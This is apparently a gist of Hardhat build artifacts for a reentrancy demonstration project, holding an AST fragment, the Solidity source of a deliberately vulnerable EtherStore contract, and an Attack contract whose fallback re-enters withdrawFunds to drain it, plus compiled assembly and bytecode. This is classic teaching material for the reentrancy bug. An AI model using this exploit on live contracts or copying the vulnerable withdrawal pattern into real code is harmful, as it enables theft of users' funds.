"typeString": "address" | |
} | |
}, | |
"isConstant": false, | |
"isLValue": true, | |
"isPure": false, | |
"lValueRequested": true, | |
"nodeType": "IndexAccess", | |
"src": "736:20:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"nodeType": "Assignment", | |
"operator": "-=", | |
"rightHandSide": { | |
"argumentTypes": null, | |
"id": 67, | |
"name": "_weiToWithdraw", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 29, | |
"src": "760:14:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"src": "736:38:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"id": 69, | |
"nodeType": "ExpressionStatement", | |
"src": "736:38:0" | |
}, | |
{ | |
"expression": { | |
"argumentTypes": null, | |
"id": 75, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"leftHandSide": { | |
"argumentTypes": null, | |
"baseExpression": { | |
"argumentTypes": null, | |
"id": 70, | |
"name": "lastWithdrawTime", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 11, | |
"src": "784:16:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_mapping$_t_address_$_t_uint256_$", | |
"typeString": "mapping(address => uint256)" | |
} | |
}, | |
"id": 73, | |
"indexExpression": { | |
"argumentTypes": null, | |
"expression": { | |
"argumentTypes": null, | |
"id": 71, | |
"name": "msg", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 110, | |
"src": "801:3:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_magic_message", | |
"typeString": "msg" | |
} | |
}, | |
"id": 72, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"memberName": "sender", | |
"nodeType": "MemberAccess", | |
"referencedDeclaration": null, | |
"src": "801:10:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_address", | |
"typeString": "address" | |
} | |
}, | |
"isConstant": false, | |
"isLValue": true, | |
"isPure": false, | |
"lValueRequested": true, | |
"nodeType": "IndexAccess", | |
"src": "784:28:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"nodeType": "Assignment", | |
"operator": "=", | |
"rightHandSide": { | |
"argumentTypes": null, | |
"id": 74, | |
"name": "now", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 112, | |
"src": "815:3:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"src": "784:34:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"id": 76, | |
"nodeType": "ExpressionStatement", | |
"src": "784:34:0" | |
}, | |
{ | |
"expression": { | |
"argumentTypes": null, | |
"id": 79, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"leftHandSide": { | |
"argumentTypes": null, | |
"id": 77, | |
"name": "reEntrancyMutex", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 4, | |
"src": "894:15:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_bool", | |
"typeString": "bool" | |
} | |
}, | |
"nodeType": "Assignment", | |
"operator": "=", | |
"rightHandSide": { | |
"argumentTypes": null, | |
"hexValue": "74727565", | |
"id": 78, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": true, | |
"kind": "bool", | |
"lValueRequested": false, | |
"nodeType": "Literal", | |
"src": "912:4:0", | |
"subdenomination": null, | |
"typeDescriptions": { | |
"typeIdentifier": "t_bool", | |
"typeString": "bool" | |
}, | |
"value": "true" | |
}, | |
"src": "894:22:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_bool", | |
"typeString": "bool" | |
} | |
}, | |
"id": 80, | |
"nodeType": "ExpressionStatement", | |
"src": "894:22:0" | |
}, | |
{ | |
"expression": { | |
"argumentTypes": null, | |
"arguments": [ | |
{ | |
"argumentTypes": null, | |
"id": 86, | |
"name": "_weiToWithdraw", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 29, | |
"src": "946:14:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
} | |
], | |
"expression": { | |
"argumentTypes": [ | |
{ | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
], | |
"expression": { | |
"argumentTypes": null, | |
"expression": { | |
"argumentTypes": null, | |
"id": 81, | |
"name": "msg", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 110, | |
"src": "926:3:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_magic_message", | |
"typeString": "msg" | |
} | |
}, | |
"id": 84, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"memberName": "sender", | |
"nodeType": "MemberAccess", | |
"referencedDeclaration": null, | |
"src": "926:10:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_address", | |
"typeString": "address" | |
} | |
}, | |
"id": 85, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"memberName": "transfer", | |
"nodeType": "MemberAccess", | |
"referencedDeclaration": null, | |
"src": "926:19:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_function_transfer_nonpayable$_t_uint256_$returns$__$", | |
"typeString": "function (uint256)" | |
} | |
}, | |
"id": 87, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"kind": "functionCall", | |
"lValueRequested": false, | |
"names": [], | |
"nodeType": "FunctionCall", | |
"src": "926:35:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_tuple$__$", | |
"typeString": "tuple()" | |
} | |
}, | |
"id": 88, | |
"nodeType": "ExpressionStatement", | |
"src": "926:35:0" | |
}, | |
{ | |
"expression": { | |
"argumentTypes": null, | |
"id": 91, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"leftHandSide": { | |
"argumentTypes": null, | |
"id": 89, | |
"name": "reEntrancyMutex", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 4, | |
"src": "1024:15:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_bool", | |
"typeString": "bool" | |
} | |
}, | |
"nodeType": "Assignment", | |
"operator": "=", | |
"rightHandSide": { | |
"argumentTypes": null, | |
"hexValue": "66616c7365", | |
"id": 90, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": true, | |
"kind": "bool", | |
"lValueRequested": false, | |
"nodeType": "Literal", | |
"src": "1042:5:0", | |
"subdenomination": null, | |
"typeDescriptions": { | |
"typeIdentifier": "t_bool", | |
"typeString": "bool" | |
}, | |
"value": "false" | |
}, | |
"src": "1024:23:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_bool", | |
"typeString": "bool" | |
} | |
}, | |
"id": 92, | |
"nodeType": "ExpressionStatement", | |
"src": "1024:23:0" | |
} | |
] | |
}, | |
"documentation": null, | |
"id": 94, | |
"implemented": true, | |
"isConstructor": false, | |
"isDeclaredConst": false, | |
"modifiers": [], | |
"name": "withdrawFunds", | |
"nodeType": "FunctionDefinition", | |
"parameters": { | |
"id": 30, | |
"nodeType": "ParameterList", | |
"parameters": [ | |
{ | |
"constant": false, | |
"id": 29, | |
"name": "_weiToWithdraw", | |
"nodeType": "VariableDeclaration", | |
"scope": 94, | |
"src": "406:22:0", | |
"stateVariable": false, | |
"storageLocation": "default", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
}, | |
"typeName": { | |
"id": 28, | |
"name": "uint256", | |
"nodeType": "ElementaryTypeName", | |
"src": "406:7:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"value": null, | |
"visibility": "internal" | |
} | |
], | |
"src": "405:24:0" | |
}, | |
"payable": false, | |
"returnParameters": { | |
"id": 31, | |
"nodeType": "ParameterList", | |
"parameters": [], | |
"src": "437:0:0" | |
}, | |
"scope": 95, | |
"src": "382:672:0", | |
"stateMutability": "nonpayable", | |
"superFunction": null, | |
"visibility": "public" | |
} | |
], | |
"scope": 96, | |
"src": "26:1030:0" | |
} | |
], | |
"src": "0:1056:0" | |
}, | |
"id": 0 | |
} | |
} | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"id": "e38f72d64697ad9e391529bee624a6a1", | |
"_format": "hh-sol-build-info-1", | |
"solcVersion": "0.4.26", | |
"solcLongVersion": "0.4.26+commit.4563c3fc", | |
"input": { | |
"language": "Solidity", | |
"sources": { | |
"bit-smartcontract-bug/reentrancy/Attack.sol": { | |
"content": "pragma solidity ^0.4.26;\nimport \"./EtherStore.sol\" ;\ncontract Attack {\n EtherStore public etherStore;\n // intialise the etherStore variable with the contract address\n constructor(address _etherStoreAddress) {\n etherStore = EtherStore(_etherStoreAddress);\n }\n\n function pwnEtherStore() public payable {\n // attack to the nearest ether\n require(msg.value >= 1 ether);\n // send eth to the depositFunds() function\n etherStore.depositFunds.value(1 ether)();\n // start the magic\n etherStore.withdrawFunds(1 ether);\n }\n\n function collectEther() public {\n msg.sender.transfer(this.balance);\n }\n\n // fallback function - where the magic happens\n function () payable {\n if (etherStore.balance > 1 ether) {\n etherStore.withdrawFunds(1 ether);\n }\n }\n}" | |
}, | |
"bit-smartcontract-bug/reentrancy/EtherStore.sol": { | |
"content": "pragma solidity ^0.4.26;\ncontract EtherStore {\n uint256 public withdrawalLimit = 1 ether;\n mapping(address => uint256) public lastWithdrawTime;\n mapping(address => uint256) public balances;\n\n function depositFunds() public payable {\n balances[msg.sender] += msg.value;\n }\n\n function withdrawFunds (uint256 _weiToWithdraw) public {\n require(balances[msg.sender] >= _weiToWithdraw);\n // limit the withdrawal\n require(_weiToWithdraw <= withdrawalLimit);\n // limit the time allowed to withdraw\n require(now >= lastWithdrawTime[msg.sender] + 1 weeks);\n require(msg.sender.call.value(_weiToWithdraw)());\n balances[msg.sender] -= _weiToWithdraw;\n lastWithdrawTime[msg.sender] = now;\n }\n }\n " | |
} | |
}, | |
"settings": { | |
"optimizer": { | |
"enabled": false, | |
"runs": 200 | |
}, | |
"outputSelection": { | |
"*": { | |
"": [ | |
"ast" | |
], | |
"*": [ | |
"abi", | |
"metadata", | |
"devdoc", | |
"userdoc", | |
"storageLayout", | |
"evm.legacyAssembly", | |
"evm.bytecode", | |
"evm.deployedBytecode", | |
"evm.methodIdentifiers", | |
"evm.gasEstimates", | |
"evm.assembly" | |
] | |
} | |
}, | |
"remappings": [] | |
} | |
}, | |
"output": { | |
"contracts": { | |
"bit-smartcontract-bug/reentrancy/Attack.sol": { | |
"Attack": { | |
"abi": [ | |
{ | |
"constant": false, | |
"inputs": [], | |
"name": "pwnEtherStore", | |
"outputs": [], | |
"payable": true, | |
"stateMutability": "payable", | |
"type": "function" | |
}, | |
{ | |
"constant": true, | |
"inputs": [], | |
"name": "etherStore", | |
"outputs": [ | |
{ | |
"name": "", | |
"type": "address" | |
} | |
], | |
"payable": false, | |
"stateMutability": "view", | |
"type": "function" | |
}, | |
{ | |
"constant": false, | |
"inputs": [], | |
"name": "collectEther", | |
"outputs": [], | |
"payable": false, | |
"stateMutability": "nonpayable", | |
"type": "function" | |
}, | |
{ | |
"inputs": [ | |
{ | |
"name": "_etherStoreAddress", | |
"type": "address" | |
} | |
], | |
"payable": false, | |
"stateMutability": "nonpayable", | |
"type": "constructor" | |
}, | |
{ | |
"payable": true, | |
"stateMutability": "payable", | |
"type": "fallback" | |
} | |
], | |
"devdoc": { | |
"methods": {} | |
}, | |
"evm": { | |
"assembly": " /* \"bit-smartcontract-bug/reentrancy/Attack.sol\":53:852 contract Attack {... */\n mstore(0x40, 0x80)\n /* \"bit-smartcontract-bug/reentrancy/Attack.sol\":176:276 constructor(address _etherStoreAddress) {... */\n callvalue\n /* \"--CODEGEN--\":8:17 */\n dup1\n /* \"--CODEGEN--\":5:7 */\n iszero\n tag_1\n jumpi\n /* \"--CODEGEN--\":30:31 */\n 0x0\n /* \"--CODEGEN--\":27:28 */\n dup1\n /* \"--CODEGEN--\":20:32 */\n revert\n /* \"--CODEGEN--\":5:7 */\ntag_1:\n /* \"bit-smartcontract-bug/reentrancy/Attack.sol\":176:276 constructor(address _etherStoreAddress) {... */\n pop\n mload(0x40)\n 0x20\n dup1\n bytecodeSize\n dup4\n codecopy\n dup2\n add\n dup1\n 0x40\n mstore\n dup2\n add\n swap1\n dup1\n dup1\n mload\n swap1\n 0x20\n add\n swap1\n swap3\n swap2\n swap1\n pop\n pop\n pop\n /* \"bit-smartcontract-bug/reentrancy/Attack.sol\":250:268 _etherStoreAddress */\n dup1\n /* \"bit-smartcontract-bug/reentrancy/Attack.sol\":226:236 etherStore */\n 0x0\n dup1\n /* \"bit-smartcontract-bug/reentrancy/Attack.sol\":226:269 etherStore = EtherStore(_etherStoreAddress) */\n 0x100\n exp\n dup2\n sload\n dup2\n 0xffffffffffffffffffffffffffffffffffffffff\n mul\n not\n and\n swap1\n dup4\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n mul\n or\n swap1\n sstore\n pop\n /* \"bit-smartcontract-bug/reentrancy/Attack.sol\":176:276 constructor(address _etherStoreAddress) {... */\n pop\n /* \"bit-smartcontract-bug/reentrancy/Attack.sol\":53:852 contract Attack {... */\n dataSize(sub_0)\n dup1\n dataOffset(sub_0)\n 0x0\n codecopy\n 0x0\n return\nstop\n\nsub_0: assembly {\n /* \"bit-smartcontract-bug/reentrancy/Attack.sol\":53:852 contract Attack {... */\n mstore(0x40, 0x80)\n jumpi(tag_1, lt(calldatasize, 0x4))\n calldataload(0x0)\n 0x100000000000000000000000000000000000000000000000000000000\n swap1\n div\n 0xffffffff\n and\n dup1\n 0x6289d385\n eq\n tag_2\n jumpi\n dup1\n 0xacd2e6e5\n eq\n tag_3\n jumpi\n dup1\n 0xff11e1db\n eq\n tag_4\n jumpi\n tag_1:\n /* \"bit-smartcontract-bug/reentrancy/Attack.sol\":777:784 1 ether */\n 0xde0b6b3a7640000\n /* \"bit-smartcontract-bug/reentrancy/Attack.sol\":756:766 etherStore */\n 0x0\n dup1\n swap1\n sload\n swap1\n 0x100\n exp\n swap1\n div\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n /* \"bit-smartcontract-bug/reentrancy/Attack.sol\":756:774 etherStore.balance */\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n balance\n /* \"bit-smartcontract-bug/reentrancy/Attack.sol\":756:784 etherStore.balance > 1 ether */\n gt\n /* \"bit-smartcontract-bug/reentrancy/Attack.sol\":752:844 if (etherStore.balance > 1 ether) {... */\n iszero\n tag_7\n jumpi\n /* \"bit-smartcontract-bug/reentrancy/Attack.sol\":800:810 etherStore */\n 0x0\n dup1\n swap1\n sload\n swap1\n 0x100\n exp\n swap1\n div\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n /* \"bit-smartcontract-bug/reentrancy/Attack.sol\":800:824 etherStore.withdrawFunds */\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n 0x155dd5ee\n /* \"bit-smartcontract-bug/reentrancy/Attack.sol\":825:832 1 ether */\n 0xde0b6b3a7640000\n /* \"bit-smartcontract-bug/reentrancy/Attack.sol\":800:833 etherStore.withdrawFunds(1 ether) */\n mload(0x40)\n dup3\n 0xffffffff\n and\n 0x100000000000000000000000000000000000000000000000000000000\n mul\n dup2\n mstore\n 0x4\n add\n dup1\n dup3\n dup2\n mstore\n 0x20\n add\n swap2\n pop\n pop\n 0x0\n mload(0x40)\n dup1\n dup4\n sub\n dup2\n 0x0\n dup8\n dup1\n extcodesize\n iszero\n /* \"--CODEGEN--\":8:17 */\n dup1\n /* \"--CODEGEN--\":5:7 */\n iszero\n tag_8\n jumpi\n /* \"--CODEGEN--\":30:31 */\n 0x0\n /* \"--CODEGEN--\":27:28 */\n dup1\n /* \"--CODEGEN--\":20:32 */\n revert\n /* \"--CODEGEN--\":5:7 */\n tag_8:\n /* \"bit-smartcontract-bug/reentrancy/Attack.sol\":800:833 etherStore.withdrawFunds(1 ether) */\n pop\n gas\n call\n iszero\n /* \"--CODEGEN--\":8:17 */\n dup1\n /* \"--CODEGEN--\":5:7 */\n iszero\n tag_9\n jumpi\n /* \"--CODEGEN--\":45:61 */\n returndatasize\n /* \"--CODEGEN--\":42:43 */\n 0x0\n /* \"--CODEGEN--\":39:40 */\n dup1\n /* \"--CODEGEN--\":24:62 */\n returndatacopy\n /* \"--CODEGEN--\":77:93 */\n returndatasize\n /* \"--CODEGEN--\":74:75 */\n 0x0\n /* \"--CODEGEN--\":67:94 */\n revert\n /* \"--CODEGEN--\":5:7 */\n tag_9:\n /* \"bit-smartcontract-bug/reentrancy/Attack.sol\":800:833 etherStore.withdrawFunds(1 ether) */\n pop\n pop\n pop\n pop\n /* \"bit-smartcontract-bug/reentrancy/Attack.sol\":752:844 if (etherStore.balance > 1 ether) {... */\n tag_7:\n /* \"bit-smartcontract-bug/reentrancy/Attack.sol\":53:852 contract Attack {... */\n stop\n /* \"bit-smartcontract-bug/reentrancy/Attack.sol\":282:578 function pwnEtherStore() public payable {... */\n tag_2:\n tag_10\n jump(tag_11)\n tag_10:\n stop\n /* \"bit-smartcontract-bug/reentrancy/Attack.sol\":75:103 EtherStore public etherStore */\n tag_3:\n callvalue\n /* \"--CODEGEN--\":8:17 */\n dup1\n /* \"--CODEGEN--\":5:7 */\n iszero\n tag_12\n jumpi\n /* \"--CODEGEN--\":30:31 */\n 0x0\n /* \"--CODEGEN--\":27:28 */\n dup1\n /* \"--CODEGEN--\":20:32 */\n revert\n /* \"--CODEGEN--\":5:7 */\n tag_12:\n /* \"bit-smartcontract-bug/reentrancy/Attack.sol\":75:103 EtherStore public etherStore */\n pop\n tag_13\n jump(tag_14)\n tag_13:\n mload(0x40)\n dup1\n dup3\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n dup2\n mstore\n 0x20\n add\n swap2\n pop\n pop\n mload(0x40)\n dup1\n swap2\n sub\n swap1\n return\n /* \"bit-smartcontract-bug/reentrancy/Attack.sol\":584:665 function collectEther() public {... */\n tag_4:\n callvalue\n /* \"--CODEGEN--\":8:17 */\n dup1\n /* \"--CODEGEN--\":5:7 */\n iszero\n tag_15\n jumpi\n /* \"--CODEGEN--\":30:31 */\n 0x0\n /* \"--CODEGEN--\":27:28 */\n dup1\n /* \"--CODEGEN--\":20:32 */\n revert\n /* \"--CODEGEN--\":5:7 */\n tag_15:\n /* \"bit-smartcontract-bug/reentrancy/Attack.sol\":584:665 function collectEther() public {... */\n pop\n tag_16\n jump(tag_17)\n tag_16:\n stop\n /* \"bit-smartcontract-bug/reentrancy/Attack.sol\":282:578 function pwnEtherStore() public payable {... */\n tag_11:\n /* \"bit-smartcontract-bug/reentrancy/Attack.sol\":392:399 1 ether */\n 0xde0b6b3a7640000\n /* \"bit-smartcontract-bug/reentrancy/Attack.sol\":379:388 msg.value */\n callvalue\n /* \"bit-smartcontract-bug/reentrancy/Attack.sol\":379:399 msg.value >= 1 ether */\n lt\n iszero\n /* \"bit-smartcontract-bug/reentrancy/Attack.sol\":371:400 require(msg.value >= 1 ether) */\n iszero\n iszero\n tag_19\n jumpi\n 0x0\n dup1\n revert\n tag_19:\n /* \"bit-smartcontract-bug/reentrancy/Attack.sol\":461:471 etherStore */\n 0x0\n dup1\n swap1\n sload\n swap1\n 0x100\n exp\n swap1\n div\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n /* \"bit-smartcontract-bug/reentrancy/Attack.sol\":461:484 etherStore.depositFunds */\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n 0xe2c41dbc\n /* \"bit-smartcontract-bug/reentrancy/Attack.sol\":491:498 1 ether */\n 0xde0b6b3a7640000\n /* \"bit-smartcontract-bug/reentrancy/Attack.sol\":461:501 etherStore.depositFunds.value(1 ether)() */\n mload(0x40)\n dup3\n 0xffffffff\n and\n 0x100000000000000000000000000000000000000000000000000000000\n mul\n dup2\n mstore\n 0x4\n add\n 0x0\n mload(0x40)\n dup1\n dup4\n sub\n dup2\n dup6\n dup9\n dup1\n extcodesize\n iszero\n /* \"--CODEGEN--\":8:17 */\n dup1\n /* \"--CODEGEN--\":5:7 */\n iszero\n tag_20\n jumpi\n /* \"--CODEGEN--\":30:31 */\n 0x0\n /* \"--CODEGEN--\":27:28 */\n dup1\n /* \"--CODEGEN--\":20:32 */\n revert\n /* \"--CODEGEN--\":5:7 */\n tag_20:\n /* \"bit-smartcontract-bug/reentrancy/Attack.sol\":461:501 etherStore.depositFunds.value(1 ether)() */\n pop\n gas\n call\n iszero\n /* \"--CODEGEN--\":8:17 */\n dup1\n /* \"--CODEGEN--\":5:7 */\n iszero\n tag_21\n jumpi\n /* \"--CODEGEN--\":45:61 */\n returndatasize\n /* \"--CODEGEN--\":42:43 */\n 0x0\n /* \"--CODEGEN--\":39:40 */\n dup1\n /* \"--CODEGEN--\":24:62 */\n returndatacopy\n /* \"--CODEGEN--\":77:93 */\n returndatasize\n /* \"--CODEGEN--\":74:75 */\n 0x0\n /* \"--CODEGEN--\":67:94 */\n revert\n /* \"--CODEGEN--\":5:7 */\n tag_21:\n /* \"bit-smartcontract-bug/reentrancy/Attack.sol\":461:501 etherStore.depositFunds.value(1 ether)() */\n pop\n pop\n pop\n pop\n pop\n /* \"bit-smartcontract-bug/reentrancy/Attack.sol\":538:548 etherStore */\n 0x0\n dup1\n swap1\n sload\n swap1\n 0x100\n exp\n swap1\n div\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n /* \"bit-smartcontract-bug/reentrancy/Attack.sol\":538:562 etherStore.withdrawFunds */\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n 0x155dd5ee\n /* \"bit-smartcontract-bug/reentrancy/Attack.sol\":563:570 1 ether */\n 0xde0b6b3a7640000\n /* \"bit-smartcontract-bug/reentrancy/Attack.sol\":538:571 etherStore.withdrawFunds(1 ether) */\n mload(0x40)\n dup3\n 0xffffffff\n and\n 0x100000000000000000000000000000000000000000000000000000000\n mul\n dup2\n mstore\n 0x4\n add\n dup1\n dup3\n dup2\n mstore\n 0x20\n add\n swap2\n pop\n pop\n 0x0\n mload(0x40)\n dup1\n dup4\n sub\n dup2\n 0x0\n dup8\n dup1\n extcodesize\n iszero\n /* \"--CODEGEN--\":8:17 */\n dup1\n /* \"--CODEGEN--\":5:7 */\n iszero\n tag_22\n jumpi\n /* \"--CODEGEN--\":30:31 */\n 0x0\n /* \"--CODEGEN--\":27:28 */\n dup1\n /* \"--CODEGEN--\":20:32 */\n revert\n /* \"--CODEGEN--\":5:7 */\n tag_22:\n /* \"bit-smartcontract-bug/reentrancy/Attack.sol\":538:571 etherStore.withdrawFunds(1 ether) */\n pop\n gas\n call\n iszero\n /* \"--CODEGEN--\":8:17 */\n dup1\n /* \"--CODEGEN--\":5:7 */\n iszero\n tag_23\n jumpi\n /* \"--CODEGEN--\":45:61 */\n returndatasize\n /* \"--CODEGEN--\":42:43 */\n 0x0\n /* \"--CODEGEN--\":39:40 */\n dup1\n /* \"--CODEGEN--\":24:62 */\n returndatacopy\n /* \"--CODEGEN--\":77:93 */\n returndatasize\n /* \"--CODEGEN--\":74:75 */\n 0x0\n /* \"--CODEGEN--\":67:94 */\n revert\n /* \"--CODEGEN--\":5:7 */\n tag_23:\n /* \"bit-smartcontract-bug/reentrancy/Attack.sol\":538:571 etherStore.withdrawFunds(1 ether) */\n pop\n pop\n pop\n pop\n /* \"bit-smartcontract-bug/reentrancy/Attack.sol\":282:578 function pwnEtherStore() public payable {... */\n jump\t// out\n /* \"bit-smartcontract-bug/reentrancy/Attack.sol\":75:103 EtherStore public etherStore */\n tag_14:\n 0x0\n dup1\n swap1\n sload\n swap1\n 0x100\n exp\n swap1\n div\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n dup2\n jump\t// out\n /* \"bit-smartcontract-bug/reentrancy/Attack.sol\":584:665 function collectEther() public {... */\n tag_17:\n /* \"bit-smartcontract-bug/reentrancy/Attack.sol\":625:635 msg.sender */\n caller\n /* \"bit-smartcontract-bug/reentrancy/Attack.sol\":625:644 msg.sender.transfer */\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n /* \"bit-smartcontract-bug/reentrancy/Attack.sol\":625:658 msg.sender.transfer(this.balance) */\n 0x8fc\n /* \"bit-smartcontract-bug/reentrancy/Attack.sol\":645:649 this */\n address\n /* \"bit-smartcontract-bug/reentrancy/Attack.sol\":645:657 this.balance */\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n balance\n /* \"bit-smartcontract-bug/reentrancy/Attack.sol\":625:658 msg.sender.transfer(this.balance) */\n swap1\n dup2\n iszero\n mul\n swap1\n mload(0x40)\n 0x0\n mload(0x40)\n dup1\n dup4\n sub\n dup2\n dup6\n dup9\n dup9\n call\n swap4\n pop\n pop\n pop\n pop\n iszero\n /* \"--CODEGEN--\":8:17 */\n dup1\n /* \"--CODEGEN--\":5:7 */\n iszero\n tag_25\n jumpi\n /* \"--CODEGEN--\":45:61 */\n returndatasize\n /* \"--CODEGEN--\":42:43 */\n 0x0\n /* \"--CODEGEN--\":39:40 */\n dup1\n /* \"--CODEGEN--\":24:62 */\n returndatacopy\n /* \"--CODEGEN--\":77:93 */\n returndatasize\n /* \"--CODEGEN--\":74:75 */\n 0x0\n /* \"--CODEGEN--\":67:94 */\n revert\n /* \"--CODEGEN--\":5:7 */\n tag_25:\n /* \"bit-smartcontract-bug/reentrancy/Attack.sol\":625:658 msg.sender.transfer(this.balance) */\n pop\n /* \"bit-smartcontract-bug/reentrancy/Attack.sol\":584:665 function collectEther() public {... */\n jump\t// out\n\n auxdata: 0xa165627a7a72305820101c900821bb1e17824fec5e2957ccd806b131162af03e522c4c31be4c7e6fe30029\n}\n", | |
"bytecode": { | |
"linkReferences": {}, | |
"object": "608060405234801561001057600080fd5b5060405160208061046d83398101806040528101908080519060200190929190505050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506103ea806100836000396000f300608060405260043610610057576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680636289d38514610152578063acd2e6e51461015c578063ff11e1db146101b3575b670de0b6b3a76400006000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16311115610150576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663155dd5ee670de0b6b3a76400006040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b15801561013757600080fd5b505af115801561014b573d6000803e3d6000fd5b505050505b005b61015a6101ca565b005b34801561016857600080fd5b50610171610339565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101bf57600080fd5b506101c861035e565b005b670de0b6b3a764000034101515156101e157600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e2c41dbc670de0b6b3a76400006040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004016000604051808303818588803b15801561026e57600080fd5b505af1158015610282573d6000803e3d6000fd5b50505050506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663155dd5ee670de0b6b3a76400006040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b15801561031f57600080fd5b505af1158015610333573d6000803e3d6000fd5b50505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501580156103bb573d6000803e3d6000fd5b505600a165627a7a72305820101c900821bb1e17824fec5e2957ccd806b131162af03e522c4c31be4c7e6fe30029", | |
